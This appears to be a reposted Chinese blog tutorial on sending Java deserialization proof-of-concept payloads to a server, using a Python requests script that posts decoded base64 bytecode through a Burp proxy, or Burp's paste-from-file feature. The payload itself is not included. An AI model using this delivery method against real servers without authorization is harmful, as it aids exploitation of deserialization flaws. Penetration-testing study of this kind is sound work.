发送java字节码的数据包

2023-12-14 17:05:58

一些Java反序列化漏洞在利用时,要发送Java序列化值(字节码)到服务器。

我们在使用一些工具生成字节码后,可以通过python或者burp发送。

生成的字节码一般以两种形式存储:

1、二进制形式存储到 poc.ser

2、将字节码base64编码一下,存储到poc.txt

发送到服务器的方式:

通过python:

对于字节码文件,直接二进制方式(‘rb’)读取poc.ser,发送即可。

挂个代理,burp抓下包,方便看发的是否正确

import base64
import requests

# 读取文件中的 base64 编码的 Java 字节码数据
with open('poc.txt', 'r') as f:
    base64_data = f.read()

# 解码 base64 数据
bytecode = base64.b64decode(base64_data)

# 设置请求头部信息
headers = {'Content-Type': 'application/java-vm', 'Content-Length': str(len(bytecode))}

# 设置代理服务器地址和端口号
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

# 发送 POST 请求
response = requests.post('http://example.com/upload', headers=headers, data=bytecode, proxies=proxies)

# 打印响应结果
print(response.text)

通过burp:

通过burp的Paste from file功能,直接将字节码文件poc.ser 导入到body中。

在这里插入图片描述

如果字节码进行base64编码了,可以先转回来:

import base64

# 读取文件中的 base64 编码的 Java 字节码数据
with open('poc.txt', 'r') as f:
    base64_data = f.read()

# 解码 base64 数据
bytecode = base64.b64decode(base64_data)

# 将字节码数据保存到文件中
with open('poc.ser', 'wb') as f:
    f.write(bytecode)

文章来源:https://blog.csdn.net/st3pby/article/details/134996346
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。